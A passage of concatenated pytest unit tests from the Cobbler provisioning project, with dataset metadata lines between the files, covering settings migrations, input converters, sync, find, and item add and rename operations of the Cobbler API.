old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_2_0.normalize(old_settings_dict) # Assert assert len(V3_2_0.normalize(new_settings)) == 113 def test_normalize_v3_2_1(): # Arrange with open("/code/tests/test_data/V3_2_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_2_1.normalize(old_settings_dict) # Assert assert len(V3_2_1.normalize(new_settings)) == 112 def test_normalize_v3_3_0(): # Arrange with open("/code/tests/test_data/V3_3_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_0.normalize(old_settings_dict) # Assert assert len(V3_3_0.normalize(new_settings)) == 122 def test_normalize_v3_3_1(): # Arrange with open("/code/tests/test_data/V3_3_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_1.normalize(old_settings_dict) # Assert assert len(V3_3_1.normalize(new_settings)) == 130 def test_normalize_v3_3_2(): # Arrange with open("/code/tests/test_data/V3_3_2/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_2.normalize(old_settings_dict) # Assert assert len(V3_3_2.normalize(new_settings)) == 130 def test_normalize_v3_3_3(): # Arrange with open("/code/tests/test_data/V3_3_3/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_3.normalize(old_settings_dict) # Assert assert len(new_settings) == 131 # Migration of default_virt_file_size to float is working assert isinstance(new_settings.get("default_virt_file_size", None), float) def test_normalize_v3_3_4(): # Arrange with open("/code/tests/test_data/V3_3_4/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_4.normalize(old_settings_dict) # Assert assert len(new_settings) == 131 def test_normalize_v3_3_5(): # Arrange with open("/code/tests/test_data/V3_3_4/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_5.normalize(old_settings_dict) # Assert assert len(new_settings) == 132 def test_normalize_v3_4_0_empty(): # Arrange # Act settings = V3_4_0.normalize({}) # Assert assert len(settings) == 0 def test_normalize_v3_4_0_partial(): # Arrange old_settings_dict = {"server": "192.168.0.1"} # Act settings = V3_4_0.normalize(old_settings_dict) # Assert assert old_settings_dict == settings def test_normalize_v3_4_0_full(): # Arrange with open("/code/tests/test_data/V3_4_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_4_0.normalize(old_settings_dict) # Assert assert "mongodb" in new_settings assert new_settings["mongodb"] == {"host": "localhost", "port": 27017} assert "cache_enabled" in new_settings assert new_settings["cache_enabled"] == False assert new_settings["lazy_start"] == False assert len(V3_4_0.normalize(new_settings)) == 135
5,682
Python
.py
156
31.307692
78
0.671062
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,006
migrations_test.py
cobbler_cobbler/tests/settings/migrations/migrations_test.py
""" Tests for the Cobbler settings migrations """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de> # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de> # SPDX-FileCopyrightText: Copyright SUSE LLC import pathlib import shutil import pytest import yaml from cobbler import settings from cobbler.settings import migrations from cobbler.settings.migrations import ( V3_0_0, V3_0_1, V3_1_0, V3_1_1, V3_1_2, V3_2_0, V3_2_1, V3_3_0, V3_3_1, V3_3_2, V3_3_3, V3_3_4, V3_3_5, V3_4_0, ) modules_conf_location = "/etc/cobbler/modules.conf" @pytest.fixture(scope="function", autouse=True) def delete_modules_conf(): yield modules_conf_path = pathlib.Path(modules_conf_location) if modules_conf_path.exists(): modules_conf_path.unlink() def test_cobbler_version_logic(): # Arrange v285 = migrations.CobblerVersion() v285.major = 2 v285.minor = 8 v285.patch = 5 v330 = migrations.CobblerVersion() v330.major = 3 v330.minor = 3 v330.patch = 0 # Arrange bigger = v330 > v285 smaller = v285 < v330 not_equal = v330 != v285 # Assert assert bigger assert smaller assert not_equal def test_discover_migrations(): # Arrange migrations.VERSION_LIST = {} # Act migrations.discover_migrations() # Assert assert migrations.VERSION_LIST is not None # type: ignore def test_get_installed_version(): # Arrange # Act version = migrations.get_installed_version() # Assert assert isinstance(version, migrations.CobblerVersion) assert version.major >= 3 def test_get_settings_file_version(): # Arrange old_settings_dict = settings.read_yaml_file( "/code/tests/test_data/V2_8_5/settings.yaml" ) v285 = migrations.CobblerVersion(2, 8, 5) # Act result = migrations.get_settings_file_version(old_settings_dict) # Assert assert result == v285 def test_migrate_v3_0_0(): # Arrange with open("/code/tests/test_data/V2_8_5/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_0_0.migrate(old_settings_dict) # Assert assert V3_0_0.validate(new_settings) def test_migrate_v3_0_1(): # Arrange with open("/code/tests/test_data/V3_0_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) shutil.copy("/code/tests/test_data/V3_0_0/modules.conf", modules_conf_location) # Act new_settings = V3_0_1.migrate(old_settings_dict) # Read migrated modules.conf with open("/etc/cobbler/modules.conf") as modules_conf: new_modules_conf_content = modules_conf.readlines() # Assert assert V3_0_1.validate(new_settings) assert all( line not in ("authn_", "authz_", "manage_") for line in new_modules_conf_content ) def test_migrate_v3_1_0(): # Arrange with open("/code/tests/test_data/V3_0_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_0.migrate(old_settings_dict) # Assert assert V3_1_0.validate(new_settings) def test_migrate_v3_1_1(): # Arrange with open("/code/tests/test_data/V3_1_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_1.migrate(old_settings_dict) # Assert assert V3_1_1.validate(new_settings) def test_migrate_v3_1_2(): # Arrange with open("/code/tests/test_data/V3_1_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_2.migrate(old_settings_dict) # Assert assert V3_1_2.validate(new_settings) def test_migrate_v3_2_0(): # Arrange with open("/code/tests/test_data/V3_1_2/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_2_0.migrate(old_settings_dict) # Assert assert V3_2_0.validate(new_settings) def test_migrate_v3_2_1(): # Arrange with open("/code/tests/test_data/V3_2_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_2_1.migrate(old_settings_dict) # Assert assert V3_2_1.validate(new_settings) # manage_tftp removed assert "manage_tftp" not in new_settings def test_migrate_v3_3_0(): # Arrange with open("/code/tests/test_data/V3_2_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_0.migrate(old_settings_dict) # Assert assert V3_3_0.validate(new_settings) # We had a bug where the @@ values were incorrectly present in the final code. # Thus checking that this is not the case anymore. assert new_settings.get("bind_zonefile_path") == "/var/lib/named" # gpxe -> ipxe renaming assert "enable_ipxe" in new_settings assert "enable_gpxe" not in new_settings # ipmitool -> ipmilanplus assert "power_management_default_type" in new_settings assert new_settings["power_management_default_type"] == "ipmilanplus" def test_migrate_v3_3_1(): # Arrange with open("/code/tests/test_data/V3_3_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_1.migrate(old_settings_dict) # Assert assert V3_3_1.validate(new_settings) # We had a bug where the @@ values were incorrectly present in the final code. # Thus checking that this is not the case anymore. assert new_settings.get("syslinux_dir") == "/usr/share/syslinux" def test_migrate_v3_3_2(): # Arrange with open("/code/tests/test_data/V3_3_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_2.migrate(old_settings_dict) # Assert assert V3_3_2.validate(new_settings) def test_migrate_v3_3_3(): # Arrange with open("/code/tests/test_data/V3_3_2/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_3.migrate(old_settings_dict) # Assert assert V3_3_3.validate(new_settings) # Migration of default_virt_file_size to float is working assert isinstance(new_settings.get("default_virt_file_size", None), float) def test_migrate_v3_3_4(): """ Test to validate that a migrations of the settings from Cobbler 3.3.3 to 3.3.4 is working as expected. """ # Arrange with open( "/code/tests/test_data/V3_3_3/settings.yaml", encoding="UTF-8" ) as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_4.migrate(old_settings_dict) # Assert assert V3_3_4.validate(new_settings) def test_migrate_v3_3_5(): """ Test to validate that a migrations of the settings from Cobbler 3.3.4 to 3.3.5 is working as expected. """ # Arrange with open( "/code/tests/test_data/V3_3_4/settings.yaml", encoding="UTF-8" ) as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_3_5.migrate(old_settings_dict) # Assert assert V3_3_5.validate(new_settings) def test_migrate_v3_4_0(): # Arrange with open("/code/tests/test_data/V3_3_5/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) shutil.copy("/code/tests/test_data/V3_3_5/modules.conf", modules_conf_location) shutil.copy( "/code/tests/test_data/V3_3_5/mongodb.conf", "/etc/cobbler/mongodb.conf" ) # Act new_settings = V3_4_0.migrate(old_settings_dict) # Assert assert V3_4_0.validate(new_settings) assert not pathlib.Path("/etc/cobbler/mongodb.conf").exists() assert not pathlib.Path(modules_conf_location).exists()
8,146
Python
.py
229
30.502183
106
0.682056
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,007
input_converters.py
cobbler_cobbler/tests/api/input_converters.py
""" Tests that validate the functionality of the module that is responsible for providing the API for input conversion. """ from typing import Any, Dict, List, Optional, Union import pytest from cobbler.api import CobblerAPI from tests.conftest import does_not_raise @pytest.mark.parametrize( "input_options,expected_result,expected_exception", [([], [], does_not_raise())] ) def test_input_string_or_list_no_inherit( cobbler_api: CobblerAPI, input_options: List[str], expected_result: List[str], expected_exception: Any, ): # Arrange & Act with expected_exception: result = cobbler_api.input_string_or_list_no_inherit(input_options) # Assert assert result == expected_result @pytest.mark.parametrize( "input_options,expected_result,expected_exception", [ ("<<inherit>>", "<<inherit>>", does_not_raise()), ("delete", [], does_not_raise()), (["test"], ["test"], does_not_raise()), ("my_test", ["my_test"], does_not_raise()), ("my_test my_test", ["my_test", "my_test"], does_not_raise()), (5, None, pytest.raises(TypeError)), ], ) def test_input_string_or_list( cobbler_api: CobblerAPI, input_options: Any, expected_result: Optional[Union[str, List[str]]], expected_exception: Any, ): # Arrange & Act with expected_exception: result = cobbler_api.input_string_or_list(input_options) # Assert assert result == expected_result @pytest.mark.parametrize( "input_options,input_allow_multiples,expected_result,possible_exception", [ ("<<inherit>>", True, "<<inherit>>", does_not_raise()), ([""], True, None, pytest.raises(TypeError)), ("a b=10 c=abc", True, {"a": None, "b": "10", "c": "abc"}, does_not_raise()), ({"ab": 0}, True, {"ab": 0}, does_not_raise()), (0, True, None, pytest.raises(TypeError)), ], ) def test_input_string_or_dict( cobbler_api: CobblerAPI, input_options: Any, input_allow_multiples: bool, expected_result: Union[str, Dict[str, Any]], possible_exception: Any, ): # Arrange & Act with possible_exception: result = cobbler_api.input_string_or_dict( input_options, allow_multiples=input_allow_multiples ) # Assert assert result == expected_result @pytest.mark.parametrize( "input_options,input_allow_multiples,expected_result,expected_exception", [({}, True, {}, does_not_raise())], ) def test_input_string_or_dict_no_inherit( cobbler_api: CobblerAPI, input_options: Dict[str, Any], input_allow_multiples: bool, expected_result: Dict[str, Any], expected_exception: Any, ): # Arrange & Act with expected_exception: result = cobbler_api.input_string_or_dict_no_inherit( input_options, allow_multiples=input_allow_multiples ) # Assert assert result == expected_result @pytest.mark.parametrize( "input_value,expected_exception,expected_result", [ (True, does_not_raise(), True), (1, does_not_raise(), True), ("oN", does_not_raise(), True), ("yEs", does_not_raise(), True), ("Y", does_not_raise(), True), ("Test", does_not_raise(), False), (-5, does_not_raise(), False), (0.5, pytest.raises(TypeError), False), ], ) def test_input_boolean( cobbler_api: CobblerAPI, input_value: Any, expected_exception: Any, expected_result: bool, ): # Arrange & Act with expected_exception: result = cobbler_api.input_boolean(input_value) # Assert assert result == expected_result @pytest.mark.parametrize( "input_value,expected_exception,expected_result", [ (True, does_not_raise(), 1), (1, does_not_raise(), 1), ("1", does_not_raise(), 1), ("text", pytest.raises(TypeError), 1), ("5.0", pytest.raises(TypeError), 0), ([], pytest.raises(TypeError), 0), ({}, pytest.raises(TypeError), 0), (-5, does_not_raise(), -5), (0.5, does_not_raise(), 0), ], ) def test_input_int( cobbler_api: CobblerAPI, input_value: Any, expected_exception: Any, expected_result: int, ): # Arrange & Act with expected_exception: result = cobbler_api.input_int(input_value) # Assert assert result == expected_result
4,424
Python
.py
134
27.223881
115
0.627226
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,008
sync_test.py
cobbler_cobbler/tests/api/sync_test.py
# type: ignore from unittest.mock import MagicMock, Mock, PropertyMock, create_autospec import pytest import cobbler.actions.sync import cobbler.modules.managers.bind import cobbler.modules.managers.isc from cobbler.items.image import Image from tests.conftest import does_not_raise @pytest.mark.parametrize( "input_verbose,input_what,expected_exception", [ (True, None, does_not_raise()), (True, [], does_not_raise()), (False, [], does_not_raise()), (True, ["dhcp"], does_not_raise()), (True, ["dns"], does_not_raise()), (True, ["dns", "dhcp"], does_not_raise()), ], ) def test_sync(cobbler_api, input_verbose, input_what, expected_exception, mocker): # Arrange stub = create_autospec(spec=cobbler.actions.sync.CobblerSync) stub_dhcp = mocker.stub() stub_dns = mocker.stub() mocker.patch.object(cobbler_api, "get_sync", return_value=stub) mocker.patch.object(cobbler_api, "sync_dhcp", new=stub_dhcp) mocker.patch.object(cobbler_api, "sync_dns", new=stub_dns) filelock_mock = mocker.patch("cobbler.utils.filelock") # Act with expected_exception: cobbler_api.sync(input_verbose, input_what) # Assert assert filelock_mock.called_once_with("/var/lib/cobbler/sync_lock") if not input_what: stub.run.assert_called_once() if input_what and "dhcp" in input_what: stub_dhcp.assert_called_once() if input_what and "dns" in input_what: stub_dns.assert_called_once() @pytest.mark.parametrize("input_manage_dns", [(True), (False)]) def test_sync_dns(cobbler_api, input_manage_dns, mocker): # Arrange mock = MagicMock() m_property = PropertyMock(return_value=input_manage_dns) type(mock).manage_dns = m_property mock.modules = {"dns": {"module": "managers.bind"}} mocker.patch.object(cobbler_api, "settings", return_value=mock) filelock_mock = mocker.patch("cobbler.utils.filelock") # mock get_manager() and ensure mock object has the same api as the object it is replacing. # see https://docs.python.org/3/library/unittest.mock.html#unittest.mock.create_autospec stub = create_autospec(spec=cobbler.modules.managers.bind._BindManager) mocker.patch("cobbler.modules.managers.bind.get_manager", return_value=stub) # Act cobbler_api.sync_dns() # Assert assert filelock_mock.called_once_with("/var/lib/cobbler/sync_lock") m_property.assert_called_once() assert stub.sync.called == input_manage_dns @pytest.mark.parametrize("input_manager_dhcp", [(True), (False)]) def test_sync_dhcp(cobbler_api, input_manager_dhcp, mocker): # Arrange mock = MagicMock() m_property = PropertyMock(return_value=input_manager_dhcp) type(mock).manage_dhcp = m_property mock.modules = {"dhcp": {"module": "managers.isc"}} mocker.patch.object(cobbler_api, "settings", return_value=mock) filelock_mock = mocker.patch("cobbler.utils.filelock") stub = create_autospec(spec=cobbler.modules.managers.isc._IscManager) mocker.patch("cobbler.modules.managers.isc.get_manager", return_value=stub) # Act cobbler_api.sync_dhcp() # Assert assert filelock_mock.called_once_with("/var/lib/cobbler/sync_lock") m_property.assert_called_once() assert stub.sync.called == input_manager_dhcp def test_get_sync(mocker, cobbler_api): # Arrange stub = Mock() mocker.patch.object(cobbler_api, "get_module_from_file", new=stub) # Act result = cobbler_api.get_sync() # Assert # has to be called 3 times by the method assert stub.call_count == 3 assert isinstance(result, cobbler.actions.sync.CobblerSync) @pytest.mark.parametrize( "input_verbose,input_systems,expected_exception", [ (None, ["t1.systems.de"], does_not_raise()), (True, ["t1.systems.de"], does_not_raise()), (False, ["t1.systems.de"], does_not_raise()), (False, [], does_not_raise()), (False, [42], pytest.raises(TypeError)), (False, None, pytest.raises(TypeError)), (False, "t1.systems.de", pytest.raises(TypeError)), ], ) def test_sync_systems( cobbler_api, input_systems, input_verbose, expected_exception, mocker ): # Arrange stub = create_autospec(spec=cobbler.actions.sync.CobblerSync) mocker.patch.object(cobbler_api, "get_sync", return_value=stub) filelock_mock = mocker.patch("cobbler.utils.filelock") # Act assert filelock_mock.called_once_with("/var/lib/cobbler/sync_lock") with expected_exception: cobbler_api.sync_systems(input_systems, input_verbose) # Assert if len(input_systems) > 0: stub.run_sync_systems.assert_called_once() stub.run_sync_systems.assert_called_with(input_systems) else: assert stub.run_sync_systems.call_count == 0 def test_image_rename(cobbler_api): # Arrange testimage = Image(cobbler_api) testimage.name = "myimage" cobbler_api.add_image(testimage, save=False) # Act cobbler_api.rename_image(testimage, "new_name") # Assert assert cobbler_api.images().get("new_name") assert cobbler_api.images().get("myimage") is None
5,209
Python
.py
124
36.580645
95
0.690665
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,009
find_test.py
cobbler_cobbler/tests/api/find_test.py
""" Tests that validate the functionality of the module that is responsible for providing the search API for the application. """ from typing import Any, Dict, Optional import pytest from cobbler.api import CobblerAPI from tests.conftest import does_not_raise @pytest.fixture(name="find_fillup") def fixture_find_fillup(cobbler_api: CobblerAPI): # TODO: Extend the fillup and add more testcases return cobbler_api @pytest.mark.parametrize( "what,criteria,name,return_list,no_errors,expected_exception,expected_result", [ ("", None, "test", False, False, does_not_raise(), None), ("", None, "", False, False, pytest.raises(ValueError), None), ("distro", {}, "test", False, False, does_not_raise(), None), ("distro", {}, "", False, False, pytest.raises(ValueError), None), ], ) def test_find_items( find_fillup: CobblerAPI, what: str, criteria: Dict[str, Any], name: str, return_list: bool, no_errors: bool, expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_items(what, criteria, name, return_list, no_errors) # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ (None, False, False, {}, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_distro( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Dict[str, Any], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_distro(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ (None, False, False, {}, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_profile( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Dict[str, Any], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_profile(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ (None, False, False, {}, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_system( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Dict[str, Any], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_system(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ (None, False, False, {}, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_repo( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Dict[str, Any], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_repo(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ (None, False, False, {}, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_image( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Optional[Dict[str, Any]], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: result = test_api.find_image(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result @pytest.mark.parametrize( "name,return_list,no_errors,criteria,expected_exception,expected_result", [ ("", False, False, {}, pytest.raises(ValueError), None), ("test", False, False, {}, does_not_raise(), None), (None, False, False, None, pytest.raises(ValueError), None), ("testdistro", False, False, {}, does_not_raise(), None), ], ) def test_find_menu( find_fillup: CobblerAPI, name: Optional[str], return_list: bool, no_errors: bool, criteria: Optional[Dict[str, Any]], expected_exception: Any, expected_result: None, ): # Arrange test_api = find_fillup # Act with expected_exception: if criteria is not None: result = test_api.find_menu(name, return_list, no_errors, **criteria) # type: ignore[reportArgumentType] else: result = test_api.find_menu(name, return_list, no_errors) # type: ignore[reportArgumentType] # Assert if expected_result is None: assert result is None else: assert result == expected_result
6,498
Python
.py
202
26.188119
117
0.644363
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,010
miscellaneous_test.py
cobbler_cobbler/tests/api/miscellaneous_test.py
""" Tests that validate the functionality of the module that is responsible for providing miscellaneous API operations. """ import logging from typing import TYPE_CHECKING, Any, Callable from unittest.mock import create_autospec import pytest from cobbler import enums, settings from cobbler.actions.buildiso.netboot import NetbootBuildiso from cobbler.actions.buildiso.standalone import StandaloneBuildiso from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.profile import Profile from cobbler.items.system import System from tests.conftest import does_not_raise if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.mark.parametrize( "input_automigration,result_migrate_count,result_validate_count", [ (None, 0, 2), (True, 1, 2), (False, 0, 2), ], ) def test_settings_migration( caplog: pytest.LogCaptureFixture, mocker: "MockerFixture", input_automigration: bool, result_migrate_count: int, result_validate_count: int, ): # pylint: disable=protected-access # Arrange caplog.set_level(logging.DEBUG) # TODO: Create test where the YAML is missing the key spy_migrate = mocker.spy(settings, "migrate") spy_validate = mocker.spy(settings, "validate_settings") # Override private class variables to have a clean slate on all runs CobblerAPI._CobblerAPI__shared_state = {} # type: ignore[reportAttributeAccessIssue] CobblerAPI._CobblerAPI__has_loaded = False # type: ignore[reportAttributeAccessIssue] # Act CobblerAPI(execute_settings_automigration=input_automigration) # Assert assert len(caplog.records) > 0 if input_automigration is not None: # type: ignore assert ( 'Daemon flag overwriting other possible values from "settings.yaml" for automigration!' in caplog.text ) assert spy_migrate.call_count == result_migrate_count assert spy_validate.call_count == result_validate_count def test_buildiso(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange netboot_stub = create_autospec(spec=NetbootBuildiso) standalone_stub = create_autospec(spec=StandaloneBuildiso) mocker.patch("cobbler.api.StandaloneBuildiso", return_value=standalone_stub) mocker.patch("cobbler.api.NetbootBuildiso", return_value=netboot_stub) # Act cobbler_api.build_iso() # Assert assert netboot_stub.run.call_count == 1 assert standalone_stub.run.call_count == 0 @pytest.mark.parametrize( "input_uuid,input_attribute_name,expected_exception,expected_result", [ (0, "", pytest.raises(TypeError), ""), # Wrong argument type uuid ("", 0, pytest.raises(TypeError), ""), # Wrong argument type attribute name ( "yxvyxcvyxcvyxcvyxcvyxcvyxcv", "kernel_options", pytest.raises(ValueError), "", ), # Wrong uuid format ( "4c1d2e0050344a9ba96e2fd36908a53e", "kernel_options", pytest.raises(ValueError), "", ), # Item not existing ( "", "test_not_existing", pytest.raises(AttributeError), "", ), # Attribute not existing ("", "redhat_management_key", does_not_raise(), ""), # str attribute test ("", "enable_ipxe", does_not_raise(), False), # bool attribute ("", "virt_ram", does_not_raise(), 512), # int attribute ("", "virt_file_size", does_not_raise(), 5.0), # double attribute ("", "kernel_options", does_not_raise(), {}), # dict attribute ("", "owners", does_not_raise(), ["admin"]), # list attribute ], ) def test_get_item_resolved_value( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Callable[[str], System], input_uuid: str, input_attribute_name: str, expected_exception: Any, expected_result: Any, ): # Arrange test_distro = create_distro() test_profile = create_profile(test_distro.name) test_system = create_system(test_profile.name) if input_uuid == "": input_uuid = test_system.uid # Act with expected_exception: result = cobbler_api.get_item_resolved_value(input_uuid, input_attribute_name) # Assert assert expected_result == result @pytest.mark.parametrize( "input_uuid,input_attribute_name,input_value,expected_exception,expected_result", [ (0, "", "", pytest.raises(TypeError), ""), # Wrong argument type uuid ("", 0, "", pytest.raises(TypeError), ""), # Wrong argument type attribute name ( "yxvyxcvyxcvyxcvyxcvyxcvyxcv", "kernel_options", "", pytest.raises(ValueError), "", ), # Wrong uuid format ( "4c1d2e0050344a9ba96e2fd36908a53e", "kernel_options", "", pytest.raises(ValueError), "", ), # Item not existing ( "", "test_not_existing", "", pytest.raises(AttributeError), "", ), # Attribute not existing ("", "redhat_management_key", "", does_not_raise(), ""), # str attribute test ("", "enable_ipxe", "", does_not_raise(), False), # bool attribute ("", "virt_ram", "", does_not_raise(), 0), # int attribute ( "", "virt_ram", enums.VALUE_INHERITED, does_not_raise(), enums.VALUE_INHERITED, ), # int attribute inherit ("", "virt_file_size", "", does_not_raise(), 0.0), # double attribute ("", "kernel_options", "", does_not_raise(), {}), # dict attribute ("", "kernel_options", "a=5", does_not_raise(), {}), # dict attribute ("", "kernel_options", "a=6", does_not_raise(), {"a": "6"}), # dict attribute ( "", "kernel_options", enums.VALUE_INHERITED, does_not_raise(), enums.VALUE_INHERITED, ), # dict attribute ("", "owners", "", does_not_raise(), []), # list attribute ( "", "owners", enums.VALUE_INHERITED, does_not_raise(), enums.VALUE_INHERITED, ), # list attribute inherit ( "", "name_servers", "10.0.0.1", does_not_raise(), [], ), # list attribute deduplicate ( "", "name_servers", "10.0.0.1 10.0.0.2", does_not_raise(), ["10.0.0.2"], ), # list attribute deduplicate ], ) def test_set_item_resolved_value( cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], create_profile: Callable[[str], Profile], create_system: Callable[[str], System], input_uuid: str, input_attribute_name: str, input_value: str, expected_exception: Any, expected_result: Any, ): """ Verify that setting resolved values works as expected. """ # Arrange test_distro = create_distro() test_profile = create_profile(test_distro.name) test_profile.kernel_options = "a=5" # type: ignore test_profile.name_servers = ["10.0.0.1"] cobbler_api.add_profile(test_profile) test_system = create_system(test_profile.name) if input_uuid == "": input_uuid = test_system.uid # Act with expected_exception: cobbler_api.set_item_resolved_value( input_uuid, input_attribute_name, input_value ) # Assert assert test_system.to_dict().get(input_attribute_name) == expected_result
7,817
Python
.py
216
28.583333
115
0.610715
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,011
add_test.py
cobbler_cobbler/tests/api/add_test.py
""" Tests that are ensuring the correct functionality of the CobblerAPI in regard to adding items via it. """ import pathlib from pathlib import Path from typing import Callable from cobbler.api import CobblerAPI from cobbler.items.image import Image def test_image_add(cobbler_api: CobblerAPI): # Arrange test_image = Image(cobbler_api) test_image.name = "test_cobbler_api_add_image" expected_result = Path( "/var/lib/cobbler/collections/images/test_cobbler_api_add_image.json" ) # Act cobbler_api.add_image(test_image) # Assert assert expected_result.exists() def test_case_sensitive_add( cobbler_api: CobblerAPI, create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, ): """ Test that two items with the same characters in different casing can be successfully added and edited. """ # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) name = "TestName" item1 = cobbler_api.new_distro() item1.name = name item1.kernel = str(pathlib.Path(folder) / fk_kernel) item1.initrd = str(pathlib.Path(folder) / fk_initrd) cobbler_api.add_distro(item1) item2 = cobbler_api.new_distro() item2.name = name.lower() item2.kernel = str(pathlib.Path(folder) / fk_kernel) item2.initrd = str(pathlib.Path(folder) / fk_initrd) # Act cobbler_api.add_distro(item2) cobbler_api.remove_distro(item1.name) result_item = cobbler_api.get_item("distro", item2.name) # Assert assert result_item is not None assert result_item.uid == item2.uid assert cobbler_api.get_item("distro", item1.name) is None
1,670
Python
.py
48
30.416667
106
0.710918
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,012
nsupdate_add_system_post_test.py
cobbler_cobbler/tests/modules/nsupdate_add_system_post_test.py
